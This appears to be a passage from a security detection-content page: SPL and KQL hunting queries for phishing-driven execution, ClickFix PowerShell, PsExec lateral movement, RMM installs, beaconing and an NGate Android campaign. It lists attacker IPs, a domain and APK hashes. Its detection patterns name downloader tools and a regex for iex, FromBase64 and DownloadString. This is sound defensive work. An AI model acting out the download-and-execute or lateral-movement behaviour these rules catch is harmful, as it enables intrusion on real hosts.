| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("104.21.91.170", "108.165.230.223")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("ao.online")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("ao.online")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Hunts traffic from any monitored host (managed Android devices via MTD, or corp endpoints) to the NGate trojanized-HandyPay distribution server (104.21.91.170 / protecaocartao.online) and to the dedicated PIN-exfiltration C&C (108.165.230.223). PIN harvesting is sent over plaintext HTTP separate from HandyPay's normal infra, so any callback to these endpoints is high-fidelity for the April-2026 ESET-disclosed campaign.
Rationale: Both IPs and the apex domain are named verbatim in the ESET IoC table; the C&C IP is hosted on a non-Cloudflare niche provider (BattleHost / Kaua Reis da Silva) so legitimate hits are extremely unlikely. PIN exfil is plaintext HTTP, so even a proxy log will catch it. Cross-checked against Help Net Security, Broadcom Symantec protection bulletin, and Infosecurity Magazine write-ups which reuse the same IOC set.
Cross-checked against:
• https://www.helpnetsecurity.com/2026/04/21/android-ngate-nfc-malware/
• https://www.broadcom.com/support/security-center/protection-bulletin/ngate-android-malware-targets-brazil-with-trojanized-handypay-app
• https://www.infosecurity-magazine.com/news/trojanized-android-handle-nfc/
• https://gbhackers.com/ai-powered-ngate-malware/
ATT&CKT1660T1646T1071.001
Data sourcesNetwork_Traffic.All_TrafficWeb.WebNetwork_Resolution.DNS
union
(DeviceNetworkEvents
| where RemoteIP in ("108.165.230.223","104.21.91.170")
or RemoteUrl has "protecaocartao.online"
| project Timestamp, DeviceName, DeviceId, ActionType, InitiatingProcessFileName, InitiatingProcessAccountName, RemoteIP, RemotePort, RemoteUrl, Protocol),
(DeviceEvents
| where ActionType in ("DnsQueryResponse","ConnectionSuccess")
| where AdditionalFields has "protecaocartao.online"
| project Timestamp, DeviceName, ActionType, AdditionalFields)
| order by Timestamp desc
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Traffic.All_Traffic where All_Traffic.dest_ip IN ("108.165.230.223","104.21.91.170") by All_Traffic.src All_Traffic.user All_Traffic.dest_ip All_Traffic.dest_port All_Traffic.app | `drop_dm_object_name(All_Traffic)` | append [ | tstats summariesonly=true count from datamodel=Web.Web where Web.url="*protecaocartao.online*" by Web.src Web.user Web.url Web.http_method Web.http_user_agent | `drop_dm_object_name(Web)` ] | append [ | tstats summariesonly=true count from datamodel=Network_Resolution.DNS where DNS.query="*protecaocartao.online*" by DNS.src DNS.query DNS.answer | `drop_dm_object_name(DNS)` ] | convert ctime(firstTime) ctime(lastTime)
Detects download or write of the three known trojanized-HandyPay APKs (by SHA-1) or filenames PROTECAO_CARTAO.apk and Rio_de_Premios_Pagamento.apk on any managed device, plus proxy fetches of *.apk from protecaocartao.online. Catches the sideload distribution chain that bypasses Google Play, where the user must enable 'Allow from this source'.
Rationale: All three SHA-1 hashes and both filenames come directly from the ESET IoC table; APK downloads from protecaocartao.online are themselves a strong signal because the legit HandyPay app is only distributed via Google Play. High-fidelity for both managed Android (Defender for Endpoint mobile) and any Windows/Mac corporate device used to fetch the installer for sideloading. IOCs were re-published verbatim by Broadcom Symantec and Help Net Security, confirming they are not unique to ESET.
Cross-checked against:
• https://www.broadcom.com/support/security-center/protection-bulletin/ngate-android-malware-targets-brazil-with-trojanized-handypay-app
• https://www.helpnetsecurity.com/2026/04/21/android-ngate-nfc-malware/
• https://gbhackers.com/ai-powered-ngate-malware/
ATT&CKT1660T1456T1404
Data sourcesEndpoint.FilesystemWeb.Web
let badHashes = dynamic(["48A0DE6A43FC6E49318AD6873EA63FE325200DBC","A4F793539480677241EF312150E9C02E324C0AA2","94AF94CA818697E1D99123F69965B11EAD9F010C"]);
let badNames = dynamic(["PROTECAO_CARTAO.apk","Rio_de_Premios_Pagamento.apk","Rio_de_Prêmios_Pagamento.apk"]);
union
(DeviceFileEvents
| where SHA1 in~ (badHashes) or FileName in~ (badNames) or FileName endswith ".apk" and FolderPath has_any ("Download","WhatsApp")
| where SHA1 in~ (badHashes) or FileName in~ (badNames)
| project Timestamp, DeviceName, DeviceId, ActionType, FileName, FolderPath, SHA1, SHA256, InitiatingProcessFileName, InitiatingProcessAccountName, RequestSourceIP),
(DeviceNetworkEvents
| where RemoteUrl has "protecaocartao.online" and RemoteUrl has ".apk"
| project Timestamp, DeviceName, ActionType, RemoteUrl, RemoteIP, InitiatingProcessFileName, InitiatingProcessAccountName)
| order by Timestamp desc
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where (Filesystem.file_hash IN ("48A0DE6A43FC6E49318AD6873EA63FE325200DBC","A4F793539480677241EF312150E9C02E324C0AA2","94AF94CA818697E1D99123F69965B11EAD9F010C") OR Filesystem.file_name IN ("PROTECAO_CARTAO.apk","Rio_de_Premios_Pagamento.apk","Rio_de_Prêmios_Pagamento.apk")) by Filesystem.dest Filesystem.user Filesystem.file_name Filesystem.file_hash Filesystem.file_path | `drop_dm_object_name(Filesystem)` | append [ | tstats summariesonly=true count from datamodel=Web.Web where Web.url="*protecaocartao.online*" AND Web.url="*.apk*" by Web.src Web.user Web.url Web.http_user_agent Web.dest | `drop_dm_object_name(Web)` ] | convert ctime(firstTime) ctime(lastTime)
2026-04-204 use cases4 techniques4 kill-chain phases detected
How Microsoft secures Dynamics 365 and Power Platform by removing credentials, reducing attack surfaces, and using platform engineering to block opportunistic threats. The post Making opportunistic cyberattacks harder by design appeared first on Microsoft Security Blog .
ATT&CKT1021.001T1190T1195.002T1528
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
—
Phase 2
Weaponization
—
Phase 3
Delivery
Detected
Phase 4
Exploitation
Detected
Phase 5
Installation
Detected
Phase 6
Command & Control
Likely
Phase 7
Actions on Objectives
Detected
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Trusted vendor binary / installer launching unusual children
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Remote service execution — PsExec / SMB lateral movement · OAuth consent / suspicious app grant
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
OAuth consent / suspicious app grantActions on ObjectivesHigh
Cloud identity abuse: app gets high-priv scopes, often via consent phishing.
ATT&CKT1528T1098.001
Data sourcesAuthentication.AuthenticationCloudAppEvents
CloudAppEvents
| where Timestamp > ago(7d)
| where ActionType in ("Consent to application.","Add OAuth2PermissionGrant.","Add delegated permission grant.")
| project Timestamp, AccountObjectId, AccountDisplayName, ActivityType,
ActivityObjects, IPAddress, UserAgent
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Authentication.Authentication
where Authentication.action="success"
AND Authentication.signature IN (
"Consent to application",
"Add app role assignment grant to user",
"Add OAuth2PermissionGrant",
"Add delegated permission grant")
by Authentication.user, Authentication.app, Authentication.src, Authentication.signature
| `drop_dm_object_name(Authentication)`
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
2026-04-208 use cases4 techniques7 kill-chain phases detected
Unit 42 finds frontier AI models enhance vulnerability discovery, acting as full-spectrum security researchers. They enable autonomous zero-day discovery and faster N-day patching. The post Fracturing Software Security With Frontier AI Models appeared first on Unit 42 .
ATT&CKT1190T1195.002T1566T1566.001
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
Detected
Phase 2
Weaponization
Detected
Phase 3
Delivery
Detected
Phase 4
Exploitation
Detected
Phase 5
Installation
Detected
Phase 6
Command & Control
Detected
Phase 7
Actions on Objectives
Detected
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha) · Trusted vendor binary / installer launching unusual children
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Remote service execution — PsExec / SMB lateral movement
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
